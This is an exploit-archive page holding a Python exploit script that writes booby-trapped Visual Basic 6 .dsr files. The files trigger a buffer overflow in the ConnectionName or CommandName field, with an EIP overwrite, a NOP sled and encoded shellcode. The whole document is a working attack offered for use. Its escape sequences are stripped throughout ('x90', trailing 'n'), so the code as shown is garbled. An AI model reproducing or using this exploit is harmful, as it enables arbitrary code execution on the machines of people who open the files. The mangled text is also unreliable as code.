[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MS Visual Basic Enterprise Ed. 6 SP6 .dsr File Handling BOF Exploit
# Published : 2008-01-18
# Author : shinnai
# Previous Title : IBM AIX <= 5.3 sp6 pioout Arbitrary Library Loading Local Root Exploit
# Next Title : Oracle 10g R1 xdb.xdb_pitrig_pkg PLSQL Injection (change sys password)


#usage: exploit.py

import time

print "---------------------------------------------------------------------------"
print ' MS Visual Basic Enterprise Ed. 6 SP6 ".dsr" File Handling Buffer Overflown'
print " author: shinnai"
print " mail: shinnai[at]autistici[dot]org"
print " site: http://shinnai.altervista.orgn"
print " Once you create the file, open it with Visual Basic 6 and click on"
print " connection or command name."
print "---------------------------------------------------------------------------"

EIP = "xFFxBEx3Fx7E" #call ESP from user32.dll

nop = "x90x90x90x90"

shellcode = 
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"+
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"+
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"+
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"+
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34"+
"x42x50x42x30x42x50x4bx38x45x44x4ex43x4bx38x4ex47"+
"x45x30x4ax47x41x30x4fx4ex4bx48x4fx54x4ax41x4bx38"+
"x4fx55x42x52x41x30x4bx4ex49x54x4bx48x46x33x4bx48"+
"x41x50x50x4ex41x43x42x4cx49x59x4ex4ax46x48x42x4c"+
"x46x47x47x50x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e"+
"x46x4fx4bx43x46x35x46x52x46x30x45x37x45x4ex4bx58"+
"x4fx45x46x42x41x50x4bx4ex48x46x4bx48x4ex30x4bx44"+
"x4bx48x4fx35x4ex41x41x30x4bx4ex4bx38x4ex51x4bx38"+
"x41x50x4bx4ex49x38x4ex45x46x32x46x50x43x4cx41x33"+
"x42x4cx46x46x4bx48x42x34x42x33x45x38x42x4cx4ax47"+
"x4ex30x4bx38x42x34x4ex50x4bx58x42x47x4ex41x4dx4a"+
"x4bx58x4ax36x4ax30x4bx4ex49x50x4bx48x42x48x42x4b"+
"x42x30x42x50x42x30x4bx38x4ax56x4ex43x4fx55x41x33"+
"x48x4fx42x46x48x35x49x38x4ax4fx43x58x42x4cx4bx37"+
"x42x55x4ax36x42x4fx4cx58x46x50x4fx35x4ax36x4ax59"+
"x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x56x41x56"+
"x4ex46x43x56x50x32x45x46x4ax37x45x36x42x50x5a"

try:
    choice = int(raw_input('Choose 1 for "ConnectionName", 2 for "CommandName" bof or '+
                           '3 to quit:n==> '))
    if choice == 1:
        buff = 'Connection1' + " " * 559 + EIP + "A" * 12 + nop + shellcode + nop
        try:
            vb_dsr = 
                   'VERSION 5.00n'+
                   'Begin {C0E45035-5775-11D0-B388-00A0C9055D8E} DataEnvironment1n'+
                   '   ClientHeight    =   6315n'+
                   '   ClientLeft      =   0'+
                   '   ClientTop       =   0n'+
                   '   ClientWidth     =   7935n'+
                   '   _ExtentX        =   13996n'+
                   '   _ExtentY        =   11139n'+
                   '   FolderFlags     =   1n'+
                   '   TypeInfoCookie  =   0n'+
                   '   Version         =   4n'+
                   '   NumConnections  =   1n'+
                   '   BeginProperty Connection1n'+
                   '      ConnectionName  =   "' + buff + '"n'+
                   '      ConnDispId      =   1001n'+
                   '      SourceOfData    =   3n'+
                   '      QuoteChar       =   34n'+
                   '      SeparatorChar   =   46n'+
                   '   EndPropertyn'+
                   '   NumRecordsets   =   0n'+
                   'End' + "x0Dx0A" #"x0Dx0A" ==> EOF
            out_file = open('ConnectionName.dsr','w')
            out_file.write(vb_dsr)
            out_file.close()
            print "FILE CREATED!"
        except:
            print "Something wrong in file creation!"
    if choice == 2:
        buff = 'Command1' + " " * 566 + EIP + "A" * 12 + nop + shellcode + nop
        try:
            vb_dsr = 
                   'VERSION 5.00n'+
                   'Begin {C0E45035-5775-11D0-B388-00A0C9055D8E} DataEnvironment1n'+
                   '   ClientHeight    =   6315n'+
                   '   ClientLeft      =   0'+
                   '   ClientTop       =   0n'+
                   '   ClientWidth     =   7935n'+
                   '   _ExtentX        =   13996n'+
                   '   _ExtentY        =   11139n'+
                   '   FolderFlags     =   1n'+
                   '   TypeInfoCookie  =   0n'+
                   '   Version         =   4n'+
                   '   NumConnections  =   1n'+
                   '   BeginProperty Connection1n'+
                   '      ConnectionName  =   "Connection1"n'+
                   '      ConnDispId      =   1001n'+
                   '      SourceOfData    =   3n'+
                   '      QuoteChar       =   34n'+
                   '      SeparatorChar   =   46n'+
                   '   EndPropertyn'+
                   '   NumRecordsets   =   1n'+
                   '   BeginProperty Recordset1n'+
                   '      CommandName     =   "' + buff + '"n'+
                   '      CommDispId      =   1002n'+
                   '      RsDispId        =   -1n'+
                   '      ActiveConnectionName=   "Connection1"n'+
                   '      NumFields       =   0n'+
                   '      NumGroups       =   0n'+
                   '      ParamCount      =   0n'+
                   '      RelationCount   =   0n'+
                   '      AggregateCount  =   0n'+
                   '   EndPropertyn'+
                   'End' + "x0Dx0A" #"x0Dx0A" ==> EOF
            out_file = open('CommandName.dsr','w')
            out_file.write(vb_dsr)
            out_file.close()
            print "FILE CREATED!"
        except:
            print "Something wrong in file creation!"
    if choice == 3:
        print "Be safe!"
    if choice !=1 and choice != 2 and choice != 3:
        print "D'oh! You MUST choose a value between 1 and 3"
except:
    print "mmm... ok, you want it..."
    time.sleep(4)
    print "London Bridge is falling down,nFalling down, falling downnLondon Bridge is falling downnMy fair lady" * 99999

# www.Syue.com [2008-01-18]